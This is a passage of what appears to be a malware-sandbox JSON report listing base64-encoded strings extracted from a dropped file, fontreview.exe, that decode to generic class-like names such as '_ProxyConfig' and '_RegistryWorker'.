File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Bvb2xJc3N1ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Bvb2xQYXJhbWV0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Bvb2xSZXF1ZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Bvb2xTZXJ2aWNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Bvb2xTcGVjaWZpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Bvb2xTdHVi","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Bvb2xUaHJlYWQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Bvb2xXb3JrZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1ByZWRpY2F0ZUVycm9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1ByZWRpY2F0ZUZhY2FkZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1ByZWRpY2F0ZUl0ZXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1ByZWRpY2F0ZU1hcHBpbmc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1ByZWRpY2F0ZU1lcmNoYW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1ByZWRpY2F0ZVBhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1ByZWRpY2F0ZVBhcmFtZXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1ByZWRpY2F0ZVBvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1ByZWRpY2F0ZVJlcG9uc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1ByZWRpY2F0ZVdvcmtlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1ByaW50ZXJQb2xpY3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1ByaW50ZXJSZXF1ZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1ByaW50ZXJUZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2NBbGdv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2NCYXNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2NjZXNvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2NjZXNvckFkYXB0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2NjZXNvckFsZ28=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2NjZXNvckNsaWVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2NjZXNvckRlZmluaXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2NjZXNvcklzc3Vlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2NjZXNvckl0ZXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2NjZXNvck1lcmNoYW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2NjZXNvclBvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2NjZXNvclByb3BlcnR5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2NjZXNvclJlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2NjZXNvclNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2NjZXNvclRhZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2NDbGllbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2NEZWZpbml0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2Nlc3NBbGdv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2Nlc3NNYXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2Nlc3NQYWdl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2Nlc3NSZXF1ZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2Nlc3NTcGVjaWZpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2Nlc3NUZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2Nlc3NUb2tlbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2NHbG9iYWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2NNYXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2NNYXBwaW5n","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2NQYXJhbWV0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2NQb2xpY3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2NUZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2NXb3JrZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2R1Y2VyQ2xpZW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2R1Y2VySXNzdWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2R1Y2VyUGFnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2R1Y2VyUGFyYW1ldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2R1Y2VyUmVwb25zZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2R1Y2VyUmVwb3NpdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2R1Y2VyU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2R1Y2VyU3BlY2lmaWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2R1Y2VyVGFn","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2R1Y2VyVGhyZWFk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2R1Y2VyV29ya2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2R1Y3RGaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2R1Y3RHbG9iYWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2R1Y3RNYXBwaW5n","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2R1Y3RQYXJhbWV0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2R1Y3RQcm9wZXJ0eQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2R1Y3RTY2hlbWE=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3BlcnR5Q29uZmln","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3BlcnR5RXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3BlcnR5RmlsdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3BlcnR5SXNzdWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3BlcnR5TWFw","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3BlcnR5UGFnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3BlcnR5UmVwb3NpdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3BlcnR5U2NoZW1h","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3RvdHlwZUFkYXB0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3RvdHlwZUNvbmZpZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3RvdHlwZURlZmluaXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3RvdHlwZUZhY2FkZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3RvdHlwZUZpbHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3RvdHlwZUlzc3Vlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3RvdHlwZU1hcHBpbmc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3RvdHlwZVBhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3RvdHlwZVBvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3RvdHlwZVJlcG9uc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3RvdHlwZVJlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3RvdHlwZVNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3RvdHlwZVNwZWNpZmljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3RvdHlwZVRlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3RvdHlwZVdvcmtlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3h5QWxnbw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3h5Q29uZmln","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3h5RXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3h5RmFjYWRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3h5RmlsdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3h5R2xvYmFs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3h5TWFw","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3h5UHJvcGVydHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3h5UmVwb3NpdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3h5U3BlY2lmaWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3h5VGVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1B1Ymxpc2hlckdsb2JhbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1B1Ymxpc2hlck1lcmNoYW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1B1Ymxpc2hlclJlcXVlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1B1Ymxpc2hlclN0dWI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1B1Ymxpc2hlclRocmVhZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X3BVbmtub3du","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1F1ZXVlQWxnbw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1F1ZXVlRmFjYWRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1F1ZXVlR2xvYmFs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1F1ZXVlSXNzdWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1F1ZXVlTWFw","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1F1ZXVlTWFwcGluZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1F1ZXVlUmVwb25zZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1F1ZXVlU2NoZW1h","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1F1ZXVlU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1F1ZXVlU3BlY2lmaWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1F1ZXVlV29ya2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlYWRlckFkYXB0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlYWRlckJhc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlYWRlckNvbmZpZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlYWRlckZhY2FkZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlYWRlck1hcHBpbmc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlYWRlclBhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlYWRlclBvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlYWRlclJlcXVlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlYWRlclNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlYWRlclRocmVhZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlY29yZEFkYXB0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlY29yZEZpbHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlY29yZElzc3Vlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlY29yZE1hcA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlY29yZFBvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlY29yZFByb3BlcnR5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlY29yZFJlcG9uc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlY29yZFJlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlY29yZFNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlY29yZFN0dWI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlY29yZFRocmVhZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlY29yZFRva2Vu","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlY29yZFdvcmtlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZkFsZ28=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZlBvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZlNjaGVtYQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ2lzdHJ5QWRhcHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ2lzdHJ5QWxnbw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ2lzdHJ5QmFzZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ2lzdHJ5RGVmaW5pdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ2lzdHJ5RmlsdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ2lzdHJ5SXRlcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ2lzdHJ5TWFwcGluZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ2lzdHJ5UGFyYW1ldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ2lzdHJ5UHJvcGVydHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ2lzdHJ5UmVwb3NpdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ2lzdHJ5VG9rZW4=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ2lzdHJ5V29ya2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ1Byb3BlcnR5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ1JlcG9uc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ1NlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ1dvcmtlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlcG9uc2VBbGdv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlcG9uc2VDbGllbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlcG9uc2VNYXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlcG9uc2VNZXJjaGFudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlcG9zaXRvcnlCYXNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlcG9zaXRvcnlGYWNhZGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlcG9zaXRvcnlHbG9iYWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlcG9zaXRvcnlNYXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlcG9zaXRvcnlQcm9wZXJ0eQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlcG9zaXRvcnlSZXBvbnNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlcG9zaXRvcnlTY2hlbWE=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlcG9zaXRvcnlTZXJ2aWNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlcG9zaXRvcnlUYWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlcG9zaXRvcnlUZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlcG9zaXRvcnlUaHJlYWQ=","type":"Ansi","source":"Dropped 